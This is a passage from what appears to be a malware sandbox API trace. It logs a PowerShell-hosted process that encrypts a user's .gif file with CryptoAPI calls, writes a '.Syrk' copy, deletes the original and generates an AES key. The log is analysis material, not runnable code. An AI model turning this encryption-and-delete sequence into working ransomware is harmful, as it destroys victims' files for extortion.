() returned 0x0 [0254.904] EtwEventActivityIdControl () returned 0x0 [0254.908] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0254.908] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif", lpFilePart=0x0) returned 0x31 [0254.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0254.908] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\tfnlk 0smrt1_1xww.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x364 [0254.908] GetFileType (hFile=0x364) returned 0x1 [0254.908] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0254.908] GetFileType (hFile=0x364) returned 0x1 [0254.908] EtwEventActivityIdControl () returned 0x0 [0254.909] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.919] EtwEventActivityIdControl () returned 0x0 [0254.919] EtwEventActivityIdControl () returned 0x0 [0254.919] EtwEventActivityIdControl () returned 0x0 [0254.920] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0254.920] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif.Syrk", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif.Syrk", lpFilePart=0x0) returned 0x36 [0254.920] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0254.921] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\tfnlk 0smrt1_1xww.gif.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x368 [0254.921] GetFileType (hFile=0x368) returned 0x1 [0254.921] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0254.921] GetFileType (hFile=0x368) returned 0x1 [0254.921] EtwEventActivityIdControl () returned 0x0 [0254.922] CryptGenRandom (in: hProv=0x5c4cd48, dwLen=0x10, pbBuffer=0x2367698 | out: pbBuffer=0x2367698) returned 1 [0254.922] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0254.923] CryptDuplicateKey (in: hKey=0x5c996a0, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e7c8 | out: phKey=0x5a2e7c8*=0x5c998e0) returned 1 [0254.923] CryptContextAddRef (hProv=0x5c4cd48, pdwReserved=0x0, dwFlags=0x0) returned 1 [0254.923] CryptSetKeyParam (hKey=0x5c998e0, dwParam=0x4, pbData=0x23689c4*=0x1, dwFlags=0x0) returned 1 [0254.923] CryptSetKeyParam (hKey=0x5c998e0, dwParam=0x1, pbData=0x2368990, dwFlags=0x0) returned 1 [0254.923] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.924] EtwEventActivityIdControl () returned 0x0 [0254.924] EtwEventActivityIdControl () returned 0x0 [0254.924] EtwEventActivityIdControl () returned 0x0 [0254.925] EtwEventActivityIdControl () returned 0x0 [0254.925] ReadFile (in: hFile=0x364, lpBuffer=0x236b60c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x236b60c*, lpNumberOfBytesRead=0x5a2e7d8*=0x755c, lpOverlapped=0x0) returned 1 [0254.927] CryptEncrypt (in: hKey=0x5c998e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x237f624*, pdwDataLen=0x5a2e7cc*=0x7550, dwBufLen=0x7550 | out: pbData=0x237f624*, pdwDataLen=0x5a2e7cc*=0x7550) returned 1 [0254.927] WriteFile (in: hFile=0x368, lpBuffer=0x2367774*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2367774*, lpNumberOfBytesWritten=0x5a2e7b0*=0x1000, lpOverlapped=0x0) returned 1 [0254.930] WriteFile (in: hFile=0x368, lpBuffer=0x2380610*, nNumberOfBytesToWrite=0x6564, lpNumberOfBytesWritten=0x5a2e7b0, lpOverlapped=0x0 | out: lpBuffer=0x2380610*, lpNumberOfBytesWritten=0x5a2e7b0*=0x6564, lpOverlapped=0x0) returned 1 [0254.931] ReadFile (in: hFile=0x364, lpBuffer=0x236b60c, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e7d8, lpOverlapped=0x0 | out: lpBuffer=0x236b60c*, lpNumberOfBytesRead=0x5a2e7d8*=0x0, lpOverlapped=0x0) returned 1 [0254.931] CryptEncrypt (in: hKey=0x5c998e0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2386b80*, pdwDataLen=0x5a2e820*=0x10, dwBufLen=0x10 | out: pbData=0x2386b80*, pdwDataLen=0x5a2e820*=0x10) returned 1 [0254.931] CryptEncrypt (in: hKey=0x5c998e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2386b9c*, pdwDataLen=0x5a2e828*=0x0, dwBufLen=0x10 | out: pbData=0x2386b9c*, pdwDataLen=0x5a2e828*=0x10) returned 1 [0254.931] WriteFile (in: hFile=0x368, lpBuffer=0x2367774*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7f8, lpOverlapped=0x0 | out: lpBuffer=0x2367774*, lpNumberOfBytesWritten=0x5a2e7f8*=0x10, lpOverlapped=0x0) returned 1 [0254.931] CloseHandle (hObject=0x368) returned 1 [0254.933] CloseHandle (hObject=0x364) returned 1 [0254.933] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.934] EtwEventActivityIdControl () returned 0x0 [0254.934] EtwEventActivityIdControl () returned 0x0 [0254.934] EtwEventActivityIdControl () returned 0x0 [0254.939] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\tfnlk 0smrt1_1xww.gif")) returned 0x20 [0254.942] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0254.942] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif", lpFilePart=0x0) returned 0x31 [0254.943] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0254.943] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0254.943] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0254.943] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0254.943] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0254.943] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0254.943] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0254.943] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0254.943] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0254.943] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0254.944] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0254.944] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0254.944] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0254.944] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures" (normalized: "c:\\users\\keecfmwgj\\pictures")) returned 0x11 [0254.944] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1c [0254.944] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures", nBufferLength=0x1c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures", lpFilePart=0x0) returned 0x1b [0254.944] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\tfnlk 0smrt1_1xww.gif")) returned 0x20 [0254.944] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0254.944] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif", lpFilePart=0x0) returned 0x31 [0254.947] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0254.947] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif", lpFilePart=0x0) returned 0x31 [0254.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0254.947] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0254.947] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif", lpFilePart=0x0) returned 0x31 [0254.947] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif\\*" (normalized: "c:\\users\\keecfmwgj\\pictures\\tfnlk 0smrt1_1xww.gif\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0254.947] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0254.948] CoTaskMemAlloc (cb=0x404) returned 0x3b0008 [0254.948] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x3b0008, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0254.948] CoTaskMemFree (pv=0x3b0008) [0254.950] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\tfnlk 0smrt1_1xww.gif")) returned 0x20 [0254.950] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0254.950] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif", nBufferLength=0x32, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif", lpFilePart=0x0) returned 0x31 [0254.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0254.950] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\tfnlk 0smrt1_1xww.gif"), fInfoLevelId=0x0, lpFileInformation=0x23924a8 | out: lpFileInformation=0x23924a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8648e140, ftCreationTime.dwHighDateTime=0x1d998eb, ftLastAccessTime.dwLowDateTime=0xdba43960, ftLastAccessTime.dwHighDateTime=0x1d99db3, ftLastWriteTime.dwLowDateTime=0xdba43960, ftLastWriteTime.dwHighDateTime=0x1d99db3, nFileSizeHigh=0x0, nFileSizeLow=0x755c)) returned 1 [0254.950] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0254.950] DeleteFileW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif" (normalized: "c:\\users\\keecfmwgj\\pictures\\tfnlk 0smrt1_1xww.gif")) returned 1 [0254.953] EtwEventActivityIdControl () returned 0x0 [0254.953] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.953] EtwEventActivityIdControl () returned 0x0 [0254.953] EtwEventActivityIdControl () returned 0x0 [0254.953] EtwEventActivityIdControl () returned 0x0 [0254.960] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\tfnlk 0smrt1_1xww.gif.syrk")) returned 0x20 [0254.961] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\tfnlk 0smrt1_1xww.gif.syrk")) returned 0x20 [0254.961] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0254.961] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif.Syrk", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif.Syrk", lpFilePart=0x0) returned 0x36 [0254.961] EtwEventActivityIdControl () returned 0x0 [0254.962] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.962] EtwEventActivityIdControl () returned 0x0 [0254.962] EtwEventActivityIdControl () returned 0x0 [0254.962] EtwEventActivityIdControl () returned 0x0 [0254.967] EtwEventActivityIdControl () returned 0x0 [0254.968] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.968] EtwEventActivityIdControl () returned 0x0 [0254.968] EtwEventActivityIdControl () returned 0x0 [0254.968] EtwEventActivityIdControl () returned 0x0 [0254.971] EtwEventActivityIdControl () returned 0x0 [0254.972] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.972] EtwEventActivityIdControl () returned 0x0 [0254.972] EtwEventActivityIdControl () returned 0x0 [0254.972] EtwEventActivityIdControl () returned 0x0 [0254.976] EtwEventActivityIdControl () returned 0x0 [0254.976] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.977] EtwEventActivityIdControl () returned 0x0 [0254.977] EtwEventActivityIdControl () returned 0x0 [0254.977] EtwEventActivityIdControl () returned 0x0 [0254.980] EtwEventActivityIdControl () returned 0x0 [0254.980] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0254.980] EtwEventActivityIdControl () returned 0x0 [0254.981] EtwEventActivityIdControl () returned 0x0 [0254.981] EtwEventActivityIdControl () returned 0x0 [0254.984] EtwEventActivityIdControl () returned 0x0 [0255.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca4) returned 1 [0255.000] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Pictures\\TfnLK 0sMrt1_1XwW.gif.Syrk" (normalized: "c:\\users\\keecfmwgj\\pictures\\tfnlk 0smrt1_1xww.gif.syrk"), fInfoLevelId=0x0, lpFileInformation=0x239c470 | out: lpFileInformation=0x239c470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1387be50, ftCreationTime.dwHighDateTime=0x1da3860, ftLastAccessTime.dwLowDateTime=0x1387be50, ftLastAccessTime.dwHighDateTime=0x1da3860, ftLastWriteTime.dwLowDateTime=0x138a1fb0, ftLastWriteTime.dwHighDateTime=0x1da3860, nFileSizeHigh=0x0, nFileSizeLow=0x7574)) returned 1 [0255.000] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2dca0) returned 1 [0255.001] GetConsoleOutputCP () returned 0x1b5 [0255.001] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0255.001] GetConsoleOutputCP () returned 0x1b5 [0255.001] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0255.002] GetConsoleOutputCP () returned 0x1b5 [0255.002] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.002] GetConsoleOutputCP () returned 0x1b5 [0255.002] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.002] GetConsoleOutputCP () returned 0x1b5 [0255.002] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0255.002] GetConsoleOutputCP () returned 0x1b5 [0255.002] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0255.002] GetConsoleOutputCP () returned 0x1b5 [0255.003] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.003] GetConsoleOutputCP () returned 0x1b5 [0255.004] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.004] GetConsoleOutputCP () returned 0x1b5 [0255.004] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0255.004] GetConsoleOutputCP () returned 0x1b5 [0255.004] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0255.004] GetConsoleOutputCP () returned 0x1b5 [0255.004] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.005] GetConsoleOutputCP () returned 0x1b5 [0255.005] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.005] GetConsoleOutputCP () returned 0x1b5 [0255.005] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e3d8, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e3d8) returned 0 [0255.005] GetConsoleOutputCP () returned 0x1b5 [0255.005] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e460, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e460) returned 0 [0255.005] GetConsoleOutputCP () returned 0x1b5 [0255.005] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.005] GetConsoleOutputCP () returned 0x1b5 [0255.006] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x5a2e43c, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x5a2e43c) returned 0 [0255.006] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x5a2e528 | out: lpConsoleScreenBufferInfo=0x5a2e528) returned 1 [0255.006] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0255.006] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x23b6710*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x23b6710*, lpNumberOfCharsWritten=0x5a2e514*=0x4f) returned 1 [0255.007] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x5a2e520 | out: lpMode=0x5a2e520) returned 1 [0255.007] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x22fe2f4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x5a2e514, lpReserved=0x0 | out: lpBuffer=0x22fe2f4*, lpNumberOfCharsWritten=0x5a2e514*=0x2) returned 1 [0255.008] EtwEventActivityIdControl () returned 0x0 [0255.008] EtwEventActivityIdControl () returned 0x0 [0255.008] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2ebac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.009] EtwEventActivityIdControl () returned 0x0 [0255.009] EtwEventActivityIdControl () returned 0x0 [0255.009] EtwEventActivityIdControl () returned 0x0 [0255.011] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e804, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.011] EtwEventActivityIdControl () returned 0x0 [0255.011] EtwEventActivityIdControl () returned 0x0 [0255.011] EtwEventActivityIdControl () returned 0x0 [0255.013] CryptAcquireContextW (in: phProv=0x5a2e450, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e450*=0x5c4d320) returned 1 [0255.014] CryptGenKey (in: hProv=0x5c4d320, Algid=0x6610, dwFlags=0x1, phKey=0x5a2e884 | out: phKey=0x5a2e884*=0x5c994a0) returned 1 [0255.015] CryptContextAddRef (hProv=0x5c4d320, pdwReserved=0x0, dwFlags=0x0) returned 1 [0255.015] CryptExportKey (in: hKey=0x5c994a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0255.015] CryptExportKey (in: hKey=0x5c994a0, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23be338, pdwDataLen=0x5a2e8c4 | out: pbData=0x23be338*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0255.015] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0255.015] EtwEventActivityIdControl () returned 0x0 [0255.015] EtwEventActivityIdControl () returned 0x0 [0255.016] EtwEventActivityIdControl () returned 0x0 [0255.016] SysStringLen (param_1="") returned 0x8 [0255.016] SysStringLen (param_1="D") returned 0x8 [0255.016] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.016] SysStringLen (param_1="唻妑醃씁祔链卫舦") returned 0x8 [0255.016] SysStringLen (param_1="唻妑醃씁祔链卫舦") returned 0x8 [0255.016] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.017] SysStringLen (param_1="DW") returned 0x8 [0255.017] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.017] SysStringLen (param_1="ꕏ\㪔졍逌∼) returned 0x8 [0255.017] SysStringLen (param_1="ꕏ\㪔졍逌∼) returned 0x8 [0255.017] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.017] SysStringLen (param_1="DWD") returned 0x8 [0255.017] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.017] SysStringLen (param_1="᫒䢧扃ꁪ溂ᮡ涆") returned 0x8 [0255.017] SysStringLen (param_1="᫒䢧扃ꁪ溂ᮡ涆") returned 0x8 [0255.017] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.017] SysStringLen (param_1="DWDU") returned 0x8 [0255.017] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.018] SysStringLen (param_1="﹕\ꋚ✝൳톥苗┸⋇) returned 0x8 [0255.018] SysStringLen (param_1="﹕\ꋚ✝൳톥苗┸⋇) returned 0x8 [0255.018] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.018] SysStringLen (param_1="DWDU8") returned 0x8 [0255.018] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0255.018] SysStringLen (param_1="໥籋\ᓝ쫱幷侮喷≭) returned 0x8 [0255.018] SysStringLen 